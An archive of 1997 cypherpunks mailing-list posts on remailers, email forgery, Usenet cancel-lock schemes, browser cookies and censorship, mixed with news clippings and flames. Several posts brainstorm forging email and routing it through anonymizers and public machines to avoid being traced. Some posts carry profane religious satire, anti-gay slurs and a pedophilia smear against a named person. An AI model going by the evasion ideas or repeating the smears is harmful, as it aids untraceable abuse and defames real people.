From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 15:37:56 +0800
To: andy@CCMSD.chem.uga.edu
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <Pine.LNX.3.94.970807200648.2843J-100000@neptune.chem.uga.edu>
Message-ID: <199708080147.CAA00946@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Andy Dustman <andy@CCMSD.chem.uga.edu> writes:
> 
> Back to the subject: Disposable remailers. It seems the juno remailer
> software would be good for this. I'm not sure what the sign-up requirement
> are, but it's free. I was also thinking about web-based free mail
> services, such as Hotmail and Rocketmail. Receiving mail means having to
> parse some HTML, which from the looks of things is do-able but not
> trivial. Sending mail might be easier to implement.

Sending mail is your problem alright.  It's where you get hit by
spammers etc.

Wasn't there an email forgery web page around for a while.  The idea
was that you filled in the details of who you wanted to send to, what
address you wanted it to appear you had sent it from, and paste your
message in this form box.  It did some kind of crude sendmail forgery
for you.

> Which brings up an interesting idea for an exitman/middleman remailer: Use
> a nym or commercial ISP to receive the mail, use throwaway free mail
> accounts for delivery (maybe even just plaintext delivery). Hotmail, at
> least, inserts an X-Originating-IP:  header, though.  

No problem -- run it through www.anonymizer.com first :-)

> I expect others do the same. So put your remailer output on a ZIP
> disk or floppy and run your delivery on whatever public or
> semi-public access machine you happen to get your hands on, once or
> twice a day.

You'd not want to use the same public access account regularly.

I think the connecting to the web based interface of one of those free
web gateways via www.anonymizer.com web based interface has potential.

However I wonder how long it will last...  I mean rocket mail or
whatever admins are going to get complaints like you do as a remailer
operator.

If it gets bad, they'll do what?  Not sure -- yank your account?  You
could get another one...

Turn the whole thing off?

Might last for a while.

Really we could do with some more general distributed solution to the
delivery problem.

Email forgeries seem like an interesting solution, either via an
exitman remailer which is basically just an email forging service, or
perhaps we could add capability "forger" to the remailer code.

How much trouble can you get in with ISPs for forging email?  Do they
care?  Would wide-spread practice of forging to avoid getting spammed
in USENET would cover you well enough?  How much extra security would
it give you?  Probably quite a lot -- the sorts of person who gets
spam baited is clueless almost by definition, and won't have a clue
where the mail came from.  Unless they enlist some technical help,
they'll be forced to just discard the email.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 16:54:51 +0800
To: andy@CCMSD.chem.uga.edu
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <Pine.LNX.3.94.970807215626.2843K-100000@neptune.chem.uga.edu>
Message-ID: <199708080223.DAA01636@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Andy Dustman <andy@CCMSD.chem.uga.edu>
> > Wasn't there an email forgery web page around for a while.  The idea
> > was that you filled in the details of who you wanted to send to, what
> > address you wanted it to appear you had sent it from, and paste your
> > message in this form box.  It did some kind of crude sendmail forgery
> > for you.
> 
> Hmmm. Someone has recently been forging mail to appear to be from cracker
> through something like this (very bad forgery, headers are all wrong).

I said "wasn't there", as in past tense.  It got nuked years ago now
(literally) because of complaints.  When I looked at the page it still
had the text but a note that it was disabled, and why.

Just wandering if anyone knew if anyone else had set up something more
recently that still worked.

> > You'd not want to use the same public access account regularly.
> 
> I'm not thinking of an account so much as maybe a PC in a university
> computer cluster. Pick one and go. At a big university there should be
> several clusters around campus.

You might get away with that for a pretty long time, I guess.

> > I think the connecting to the web based interface of one of those free
> > web gateways via www.anonymizer.com web based interface has potential.
> 
> It does, but I know The Anonymizer blocks some sites, at their request.

Right.  So there is one anonymizer, and if we make a big game of using
this method, Lance will get threats, and at best be asked to block
them.  We need something more distributed.

That network of anonymizers isn't here yet.

> > How much trouble can you get in with ISPs for forging email?  Do they
> > care?
> 
> Mindspring cares. My ISP was absorbed by them about two weeks after I
> signed up. They say in their terms of service that impersonating someone
> else is forbidden, but they specifically allow the use of anonymous
> remailers and nicknames. I assume this means forging is frowned upon,
> unless you are impersonating someone who doesn't exist, I guess.

Well I was thinking along the lines of:

	bubba@dev.null

type addresses yes.  You ain't imitating anyone there.  I wonder if
they frown on generating non-replyable email addresses though.
Non-existant domains.  I speculated in the previous post that perhaps
the habit of using: 

	gizmo@netcom.com.NOSPAM

might make ISPs accustomed to having people use non-replyable email
address all the time.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 8 Aug 1997 17:29:26 +0800
To: cypherpunks@algebra.com
Subject: arg8797.htm
Message-ID: <199708080847.EAA31851@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




                                  News Story
                                      
                          Thursday August 7, 1997
   ______________________________________________________________________
   
                                                     [1]Back to Tech News
                                                                         
                                                                [2][LINK]
                                                                         
   Government of Argentine not happy with the Net
   [3]Ken Rutkowski  Tech Talk News
   
   Argentina's coordinator for the Secretary of Communications has
   announced government plans to intervene in Internet service provision
   within the country in order to establish standards of cost and
   quality.
   
   "We are very dissatisfied with the degree of Internet diffusion," says
   Alejandro Garro. "The government is worried about the low level of
   penetration that the service has in Argentina both geographically and
   in terms of income classes."
   
   Garro is critical of the high cost of the service and the low number
   of Internet subscribers, estimated to around 75,000. He blames the low
   level of investment by national service providers and has announced
   that a public inquiry will deal with the issue.
   
   However, the Secretary of Communications official maintains that no
   government restrictions will be applied to the political, social,
   religious or educational content of the Internet, as has recently
   happened in the U.S.
   
   "In the government resolutions which paved the way for the Internet
   into Argentina, clear reference is made that there exists no way in
   which its contents can be regulated," Garro says.
   
   South America's current statistics shows Argentina's internet growth
   to be the second to Brazil.
   
   
   [4]Listen To Today's World Technology Round Up
   
   
          ________________________________________________________
   
                     [ [5]Welcome] [ [6]Mailing List ]
                                      
    [ [7]Inside Sources ] [ [8]What's New] [ [9]Cool Links ] [ [10]Audio
                                 Archives]

References

   1. http://www.ttalk.com/news/index1.html
   2. http://www.ttalk.com/news/index1.html
   3. mailto:ken@ttalk.com
   4. http://audio.wirelesstcp.net/ttalkra/tech.ram
   5. http://www.ttalk.com/
   6. http://www.ttalk.com/mail_list.htm
   7. http://www.ttalk.com/inside_sources.htm
   8. http://www.ttalk.com/whatsnew.htm
   9. http://www.ttalk.com/links.htm
  10. http://www.audionet.com/shows/techtalk/index.html#archive





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 8 Aug 1997 17:03:46 +0800
To: cypherpunks@Algebra.COM
Subject: Whining for 'Accountability'
Message-ID: <199708080858.EAA31914@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



   Net crime begs questions: Who to call?
   By [38]Janet Kornblum
   August 5, 1997, 8:00 p.m. PT
   
   On June 10, out of the blue, Bruce Hovland's business phone started
   ringing off the hook. The people calling weren't happy.
   
   They all demanded to know the same thing: How did they get on his
   mailing list? They also insisted, not always nicely, that he not send
   them the pornography he had apparently promised them in an email. They
   didn't order any porn, they said.
   
   Hovland doesn't send out pornography for a living, and he hadn't sent
   angry callers any email, either.
   
   In fact, Hovland is a Florida businessman who rents out an inland
   marina and markets various products like construction materials, none
   of which have anything to do with porn, email, or the Internet. He
   surfs for educational reasons and sometimes sends mail, but that's
   about it.
   
   According to Hovland, he is a victim of a crime. Someone--he thinks he
   knows who--sent out an email to possibly thousands of people telling
   them that "in 48 hours your credit card will be charged $184.80" for
   three adult videos. Recipients were then told they could not reply by
   email but "If we do not hear from you within 48 hours, we will assume
   everything is correct and make the charge to your card."
   
   The email supplied contact numbers, all belonging to Hovland. Perhaps
   adding insult to injury, the email said "you may call collect you if
   you wish."
   
   Hovland estimates there were thousands of calls from everywhere. "I've
   been pretty much threatened from all corners of the world," he said.
   He added he reported the incident to the local sheriff's department
   and to the [39]FBI and Secret Service.
   
   "I think I've been internationally defamed. I'm known worldwide as a
   porn dealer."
   
   But that's not even the part that bothers him the most: Hovland said
   this incident alerted him to the fact that there's no place to deal
   specifically with Internet crimes. Now, he wants to do something about
   it.
   
   "I believe that the entity, the Internet, is accountable. The freedom
   of it is what makes it so great, but they need to police it. They need
   to have 911 [for the] Internet."
   
   He's already gotten support from one person: Philip Kirschner, a law
   student who received the spam and called Hovland to cancel the order.
   Kirschner is helping to mount a campaign for legislation or some sort
   of task force.
   
   Hovland said he and a friend started tracing the email spam. With some
   luck, he explained, he figured out that it came from a wanted man who
   had fled the country and left his boat and car at Hovland's marina
   without paying rent. Hovland eventually sold the goods, but catching
   the alleged culprit is a different story; suing him would be nearly
   impossible.
   
   Hovland said he's lost two weeks worth of work. But he noted it could
   have been a lot worse: Someone could have directed the spam victims to
   a hospital switchboard or some other business that counts on their
   phones to help save lives.
   
   "Anyone can be a victim, whether you're an Internet user or not. If a
   guy can be in a foreign country and pinpoint his harassment and maybe
   be unprosecutable, there's a major problem. International harassment
   via the Internet can be an extremely volatile thing. It's a lot more
   serious than some fat white guy in Florida getting harassed."
   
   Now he hopes the spam and his experience will lead to something
   bigger, maybe even a movement that speaks for the average person who
   winds up being a victim of a Net crime.
   
   "A regular businessman in this society can be victimized at the point
   of a mouse," Hovland said. "They could literally put me out of
   business if they continued. It's bizarre."
   
    related news stories
    &#149; [40]CNET Special Feature: Dark side of the Web July 18, 1997
    &#149; [41]Laws of cyberland April 25, 1997
    &#149; [42]CNET Special Report: Crime on the Net February 7, 1997
    &#149; [43]States mull harassment laws January 31, 1997
    &#149; [44]States fight harassment December 16, 1996
    &#149; [45]FBI in Net porn probe December 12, 1996
   
  38. mailto:janetk@cnet.com
  39. http://www.fbi.gov/
  40. http://www.news.com/News/Item/0,4,12590,00.html
  41. http://www.news.com/SpecialFeatures/0,5,10040,00.html
  42. http://www.news.com/News/Item/0,4,7754,00.html
  43. http://www.news.com/News/Item/0,4,7550,00.html
  44. http://www.news.com/News/Item/0,4,6262,00.html
  45. http://www.news.com/News/Item/0,4,6157,00.html
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer <tm@dev.null>
Date: Fri, 8 Aug 1997 21:15:54 +0800
To: cypherpunks@toad.com
Subject: The BIG Lie (Jesus Confesses)
Message-ID: <199708081253.GAA06495@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



[From the "I Have Too Much 'Time, Inc.' On My Hands, So This Must Be 
 _Official_ News" Web site.]
 
  I couldn't help but notice that the supposed pillars of the religious
community, as well as their oh-so-decent-and-righteous followers, tell
such widespread, whoppingly big lies about the motivations behind their
public actions, as well as about their future intentions, that the true
source of corruption in the religious community must undoubtedly come
from "higher up" in the chain of commandments.

  For example, those who are concerned about their children accessing
obscene and satanic material on the InterNet might be expected to
supervise their children, as well as acquiring the InterNet tools that
are available for limiting their children's access to things which the
parents find objectionable. You would also expect them to seek out
information on sites that met standards that they found acceptable for
their children to access.
  In short, if their interests truly lay in censoring the information
their children access, you think they would do exactly that--control
and censor their children's activities on, and access to, the InterNet.

  I couldn't help but notice that, instead, they want to control the
activities and access of everyone who uses the InterNet. I find it hard
to believe that these people can claim to have the intellect to form
valid beliefs about religious and moral issues, yet not be intelligent
enough to understand the options available to them.
  This leads me to suspect that they are, in reality, two-faced liars,
particularly since impartial observers can predict the oppressive and
censorous results which are usually the exact opposite of what they
claim to be their intentions.

Patient: "Doctor, it hurts when I do _this_."
Doctor: "Then don't _do_ that."

   If those calling for control and censorship are truly worried about
their children, you would expect then to teach their children not to
"do that," and to not make available to them things which will allow 
them to "do that" if they have raised their children to be disobedient
and/or irresponsible.
  Instead, they seem to be taking the moral "high ground," as if under
the impression that they are moral "doctors" charged with diagnosing
others as having diseased morals, even if the others don't hurt when
they "do that."

Problem: Little Johnny wants to visit Paul Bradley's "Jesus Loves the
  Little Children From Behind" web site.
Solution: Don't let him do that.

Problem: Little Johnny might visit the Duncan Frissel "Pictures of 
  Jesus" site and find pictures of Jesus buggering the little children.
Solution: Don't let Little Johnny access sites that you don't know to
  be acceptable according to your standards.

  Now, was the foregoing too hard for those reading this to understand?
  If not, then what could be the reason for those promoting contol and
censoring of other people for suggesting the following option...
Problem: Little Johnny might access something on the InterNet which does
  not meet standards that his parent's find acceptable.
Solution: Require everyone on the InterNet to only engage in activities
  which meet the standards of Little Johnny's parents, starting by 
  putting the onus on everyone on the InterNet to "voluntarily" rate
  their website according to the standards of Little Johnny's parents.

Question:"When was the last time a doctor you didn't know made a 'house
  call' to check on your health, forced his way in when you objected,
  and gave you a prostrate exam against your wishes?"
Answer:"When the government declared that prostrate cancer was a threat
  to 'national security' and that early detection would 'protect the
  children' from child molesters and drug dealers."

  Since spirituality is not inherently related to fascism, it seemed to
me that the moral fascism being promoted by members of the Christian
community must be the result, not of spiritual values, but rather,
the result of the leader of the Christian religion being a moral
fascist.
  It was also obvious that, given the vast amount of lies being told
by Christians about their beliefs, motivations, and intentions, that
Christianity must be founded on lies and disinformation.
  Since I do not like to speak ill of someone without taking pains to
understand them from the standpoint of their own knowledge and beliefs,
I decided that I should have a talk with Jesus Christ, the founder and
espoused leader of the Christian religion, and give him a chance to 
respond to my view of himself and those who follow his example.

  Mr. Christ was kind enough to let me take notes during our long
conversation, so I am providing a transcript of the highlites of
the issues we discussed:
-----------------------
TruthMonger: "Mr. Christ..."
Jesus Christ: "Please, call me Jesus."

TruthMonger: "OK. Jesus, what the fuck is going on with all these people
  claiming that they have the right to force everyone on the face of the
  earth to live only within the boundaries of moral judgements approved 
  of by you?"
Jesus Christ: "Well, TruthMonger, you have to understand that I am the
  _only_ Way, the _only_ Truth, and the _only_ Light.  Accordingly, it
  is reasonable for my followers come to the conclusion that whatever
  I approve of is good and that everything else is bad."

TruthMonger: "As in, 'Everything Not Permitted, Is Forbidden!'?"
Jesus Christ: "Exactly. By the way, is that from '1984' or from 'Animal
  Farm'?"

TruthMonger: "Don't try to change the subject. Jesus! Oh, I mean that
  as a swear word, by the way...but this is exactly what I object to
  in your followers--the fuckers never give a straight, truthful 
  answer to the 'hard' questions. They always fall back on some inane
  quote of yours that has little to do with the issue being discussed."
Jesus Christ: "Well, you can't hold me accountable for their actions..."

TruthMonger: "Like _fuck_ I _can't_, shit for brains. You're in America,
  buddy, and we have conspiracy laws here. If the members of your cult
  go down, then you go down with them, and vice-versa.
  "You ever hear of Waco? David Koresh? Maharishi? John F. Kennedy?"
Jesus Christ: "You're trying to twist things around here, by comparing
  me and my followers to small cults and Democrats. After all, America
  is largely a Christian nation with Republican family values."

TruthMonger: "Bullshit! It's a democracy, with a legal seperation of
  Church and State. "America is a Christian nation" is just one more
  example of the lies your followers try to propogate every chance
  they get. It's clearly not true, but they refuse to face reality."
Jesus Christ: "I said, 'largely'."

TruthMonger: "Exactly. You use a word that infers that a 'majority'
  of Americans are Christian, in order to suggest that Christianity
  and Democracy are kissing cousins. This is the same goddamn thing
  that your followers do by constantly taking a smug, self-righteous
  stance that concepts like freedom, democracy, right and wrong, are
  all dependent on or connected to the Christian 'majority's' beliefs
  and morals.
  "You could just as well say, 'America is largely a "white" nation'
  but that pig doesn't fly anymore."
Jesus Christ: "Now _you're_ trying to twist _my_ words."

TruthMonger: "Christ! Oh, that's meant to be a swear word, too...BTW.
  "What I mean is that your words are being twisted a lot more by
  your Christian bum-buddies than I could ever hope to manage.
  "Which wouldn't concern me in the least if they weren't trying to
  force a potpourri of alleged 'superior' moral beliefs on the rest
  of us. This is the crux of the matter. As far as I am concerned.
  Christian fascism is the enemy of democracy and freedom."
Jesus Christ: "Well, that's one way of looking at it. However, you
  might also say, 'It's not perfect, but it's the best system we've
  got.'"

TruthMonger: "Please don't insult my intelligence. You could say the
  same thing about a bowl of 'shry back to take over until you're
  sure that your fascist lackeys have all the freedom lovers in
  chains."
Jesus Christ: "Is that supposed to be some kind of threat?"

TruthMonger: "Hey, pal. All I'm saying is that what is good for the
  gander is good for the goose.
  "As long as this country remains a democracy, then you'd better
  think twice about claiming to 'love all the little children' and
  you'd damn sure better make certain you have all the right permits
  before you go around turning water into wine."
Jesus Christ: "I resent the implication that I love the children 
  in anything but a purely 'spiritual' way."

TruthMonger: "Well, pal, the circumstantial evidence is against you
  on this one. Wasn't your father involved in some kind of scandal
  where he made a man and woman naked and then told them to fuck
  and party down?"
  "If I remember right, he had some kind of fetish about telling the
  Jews to fuck a lot and was always talking about their 'cum'."
Jesus Christ: "He used _decent_ words, like 'be fruitful and 
  multiply', and 'seed', not 'cum'."
  "And you should have capitalized the word 'Father' when you made
  mention of him, BTW"

TruthMonger: "Fuck you pal, I'm sending this to the CypherPunks
  mailing list. Are you the new list moderator? 
  "Good fucking luck..."
Jesus Christ: "I don't have to take this kind of abuse. I'm putting
  you on the 'flames' list."

TruthMonger: "Big deal. I'm already in Tim C. May's 'killfile'."
Jesus Christ: "If intolerance is such a Christian trait as you claim,
  then why is my 'flames' list smaller than Tim May's 'killfile'?"

TruthMonger: "Now you're twisting _my_ words. Are you related to
  Kent Crispin? Say... Come to think of it, why has no one ever seen
  the two of you together?"
Jesus Christ: "Let's just say that Kent and I agree on many issues
  that have to do with the sanctity of a higher authority.
  "No one has ever seen the evil Dr. Vulis and Satan together,l of eternity', then you'd better get to work on a way to
  stop the CypherPunks 'Eternity Server' from routing around fascist
  Christian moralism."
Jesus Christ: "Adam Back... Isn't he a member of that weirdo "Circle
  of Eunuchs" cult?"

TruthMonger: "That's for me to know, and for you to find out, pal.
  "Unless you can break PGP, of course."
Jesus Christ: "Hey, I'm just Jesus. I'm not Phil Zimmerman, for 
  _My_ sake."

TruthMonger: "Hey, watch your language."
Jesus Christ: "Sorry, I meant to say 'for _Dimitri's_ sake'."

TruthMonger: "I'll tell him you capitalized his name. He'll get a
  kick out of that.
  "Any last words before I turn in for the night?"
Jesus Christ: "Christianity recognizes privacy and freedom as damage,
  and steamrollers over them."

TruthMonger: "No shit!"
-----------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
All references to Tim C. May's Vernacular Translation of the Bible
are used without permission.
What's he going to do, sue me? Then he'd have to admits he gets
vicarious pleasure out of reading the posts in his killfile.
{There's more than _one_ way to push a <Delete> key.}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:09:34 +0800
To: cypherpunks@toad.com
Subject: Re: Death of the North American Crypto archive?
In-Reply-To: <3.0.3.32.19970807212752.00931870@teal.csn.net>
Message-ID: <VJ94ae56w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Michael Paul Johnson <mpj@ebible.org> writes:

> Alas, it wasn't government regulation.
> It wasn't patent entanglements.
> It wasn't spooks.
> It is economics. Can anyone suggest an alternate host that might provide room
> for a few hundred megabytes of ftp access for free (or nearly free)? Can
> someone else in North American mirror all of that data, quickly, before the
> site shuts down?

If it's under 650MB, I can fit it all on 1 CD...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:01:39 +0800
To: cypherpunks@toad.com
Subject: Re: REPOST : Un-forgeable Cancels
In-Reply-To: <12867.9708080920@misun2.mi.leeds.ac.uk>
Message-ID: <5R04ae64w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



jbaber@mi.leeds.ac.uk writes:

> Any comments/glareing weaknesses that I have missed?

Well, you missed credited guys named Franz and Huusinen with proposing this
exact scheme a couple of years ago. You also missed my discussion on how to
allow the local admin to issue cancels as well.

I used to think this scheme is very cool.  Later I realized it had a serious
problem with forgeries in one's name.

Suppose X forges an article in Y's name, and specifies a cancel lock; then
Y can't cancel this forgery.

The retraction server which David is reported to be working on doesn't
rely on passwords on authenticate Y; if Y can demonstrate the ability
to receive a cookie sent to Y, then the server can issue a signed 'hide'
NoCeM for an article that purports to be from Y.  Works for forgeries too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 9 Aug 1997 00:10:59 +0800
To: cypherpunks@toad.com
Subject: spam as DOS
In-Reply-To: <e4H4ae46w165w@bwalk.dm.com>
Message-ID: <19970808083427.33732@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Aug 08, 1997 at 01:38:25PM +0200, Anonymous wrote:
> > > How about if it is an employee of yours, using your computer
> > > equipment, that sent the message, in explict contradition to your
> > > companies stated policy?
> > 
> > Use a retraction server (David's project)
> 
> I wonder if there is a problem of inconsistent levels in this debate...
> 
> At one level, many people on this list are in favour of infrastructure
> such as Usenet and the Web carrying all information without filtering with
> respect to content, to avoid censorship, oppression and so on.
> 
> At another level, almost everybody has personal preferences as to what
> they consider worthwhile information, what they want to read, what they
> want their children/employees to read, and what they want their
> privately-owned hardware to be used to carry.
> 
> At the content-free level, cancels are information just like anything
> else, merely a stream of octets.  By definition, they _can't_ be morally
> wrong at that amoral level where we talk only about whether
> store-and-forward works properly or not.  Cancels, "forged" or otherwise
> are just a tool, just bytes.
> 
> Within a particular value system, you might agree or disagree with a
> particular cancel, or with the idea in general.  It's easy to configure a
> news server or reader to conform to your preferences, just people who hate
> spam are free to ignore it.  At this level, you can make judgements as to
> which uses of that tool are justifiable.  (Cancels by sysadmins,
> anti-spammers, spammers, system owners, governments, parents, copyright
> lawyers or nobody at all.)

Very good point.

The problem exists at both levels, however.  At the "content-free" 
level the equivalent of spam is a flooding denial of service attack.  

But thinking about it at the "content free" level puts the issues in a
much better focus, for me.  You can note the following:

	1) at a "content-free" level filters, by definition simply
	don't work.  [They don't really work for spam, either, of 
	course.] 

	2) the issue is fundamentally bandwidth consumption [with spam
	the bandwidth is human attention bandwidth]

	3) it's a damn hard problem, and no good solution exists

	4) there is an analog to e-postage in QOS routing, but the
	problem of flooding is still not solved.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:37:29 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <199708081138.NAA07099@basement.replay.com>
Message-ID: <FRB5ae68w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>   "I'm sorry but I just don't consider 'because he's a pedophile' to be a
>    convincing argument."

We hate Chris Lewis because he forges cancels (and not only for "spam"),
but just because he's an icky child-molesting pedophile.

Death to censors!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 8 Aug 1997 21:01:15 +0800
To: John Smith <jsmith58@hotmail.com>
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <19970808062547.28652.qmail@hotmail.com>
Message-ID: <Pine.GSO.3.95.970808084734.21965A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 7 Aug 1997, John Smith wrote:

> >The second thing, and most important, is that web search engines need 
> >to
> >index *every* page, and allow the topical/categorization system as a 
> >way
> >to further limit searchs.  
> 
> You can't make the web search engines do that.  It's a free country.

It's just a matter of convincing the major search engines to use this
system over some others, and to change their opinions on indexing
non-rated sites.

The only problem with rogue indexers is that the drive space for the index
is just enormous (think about how many pages there are on the net, just on
the web, ignoring Usenet entirely... I think most of the serach engines
store at least the first 100 bytes or so of each page, plus all the
indexing... it's rather big..)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:38:07 +0800
To: cypherpunks@toad.com
Subject: Platypus and the kangaroos
Message-ID: <Jcc5ae74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> > E.g. read the Net.Scum page for Debbie Taylor to read
> > how the homos tried to censor the Web site called "www.godhatesfags.com"
>
> I have no problems with that web site's existence.

I haven't looked at the site (I conclude from the name that it's probably not
something I care to see), but I will fight for its free speech. Apparently
a number of people listed at the Net.Scum site do want to shut down this
site because they don't like its name and/or contents.

Agis's troubes with the (largely homosexual) Net.Cabal started before they
signed up Stanford Wallace.

> [1] Demitri A little bit of resurch would of established what my
> sexualiaty is.  For the record most of my parteners have been femail[2]

David, with all due respect, I got more interesting things to research
than your sexuality! :-)

[2] Have any of the "others" been kangaroos?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbaber@mi.leeds.ac.uk
Date: Fri, 8 Aug 1997 17:32:24 +0800
To: cypherpunks@Algebra.COM
Subject: REPOST : Un-forgeable Cancels
Message-ID: <12867.9708080920@misun2.mi.leeds.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain




I don't think this got through the first time so I am resending it......

--------------------------------------------------------------------------

OK so this has probably been thought of before or has some horrible problem
that I have missed but how's about this as a method of verifying that cancels
have actually come from the author of a message.

I have seen a number of solutions that use various signature algorythms to
check that the cancel has been sent by the original author of the message.
However these require that the news program has access to the public key of
the author in order to verify the signature before honouring the cancel. 
Since there are millions of authors on usenet I believe that this is 
impractical and, not suprisingly, key management again turns out to be a
major problem which I believe can be solved using one way hash functions.

1	When any message is sent a hash X is calculated as :

			X = HASH(Mid,S)

	where	Mid is the Message ID 
		S is a secret controlled by the author (eg a pass phrase)

2	The hash value Y is then calculated such that:

		Y = HASH(X) = HASH(HASH(Mid,S))

3	The value calculated for Y is then included with the message as

		X-Cancel-Ref: Y

This does assume that message IDs are available by the news program and are
not allocated after sending. If this is not the case then it would be necessary
to use other header information to calculate the hash such as the date/time
and subject, or to store some kind of key at the authors end in order to
reference the message (although in this case X may as well just be generated
randomly and stored).

If the user later decided that the message should be canceled he must
re-calculate X using the message ID and his pass phrase and include this
value in the cancel :

		X-Cancel-Key: X

News programs can then be set to check that a valid value of X such that
HASH(X)=Y has been received before honouring the cancel.

Note - I realise that this does not stop anyone who can change the X-Cancel-Ref
header from canceling the message but if they can do that they can probably 
just delete the message anyway.

Any comments/glareing weaknesses that I have missed?

Jon
http://chem.leeds.ac.uk/ICAMS/people/jon/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 8 Aug 1997 21:50:09 +0800
To: cypherpunks@toad.com
Subject: Re: Query on cookies
Message-ID: <199708081336.GAA04744@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Date:          Thu, 7 Aug 1997 23:24:28 -0400 (EDT)
> From:          Declan McCullagh <declan@pathfinder.com>
> To:            "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Cc:            cypherpunks@toad.com
> Subject:       Re: Query on cookies
> Reply-to:      Declan McCullagh <declan@pathfinder.com>

> I believe this is what the folks at Netscape tried to eliminate in 4.0,
> which I'm told features four cookie settings. One rejects "third party
> cookies."
> 
> -Declan

Well, I'm using version 4.01a for NT. There are three settings for 
cookies:

1. Accept all cookies.
2. Accept only cookies which get sent back to the originating server.
3. Disable cookies.

There's also a checkbox labled:

"Warn me for accepting a cookie."

I've been fairly unhappy with this version - the cookie management 
and the "Personal Toolbar" (user specified buttons for frequently 
visited sites) are the only new features that seem useful. It tends
to crash frequently, and the usenet news (aka "Collabra Discussion
Groups") seems to be broken (some of the earlier versions had a 
fairly useful newsreader). It's also a disk hog.

Note: This is a beta version.

Peter Trei
trei@process.com

PS: I have it set on 'disable cookies'.

DISCLAIMER: The above is my personal opinion only, and not 
neccesarily representative of my employer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
